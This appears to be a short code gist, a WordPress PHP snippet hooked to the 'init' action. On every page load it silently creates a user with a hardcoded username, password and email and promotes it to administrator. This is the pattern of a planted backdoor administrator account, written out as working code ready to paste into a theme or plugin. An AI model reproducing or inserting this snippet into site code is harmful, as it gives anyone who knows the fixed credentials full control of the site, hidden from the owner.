WordPress Create new admin

gistfile1.txt

/* 
 * Create an admin user silently
 */    

    add_action('init', 'add_user');
    function add_user() {
        $username = 'username123';
        $password = 'pasword123';
        $email = 'drew@example.com';

        // Create the new user
        $user_id = wp_create_user( $username, $password, $email );

        // Get current user object
        $user = get_user_by( 'id', $user_id );

        // Remove role
        $user->remove_role( 'subscriber' );

        // Add role
        $user->add_role( 'administrator' );
    }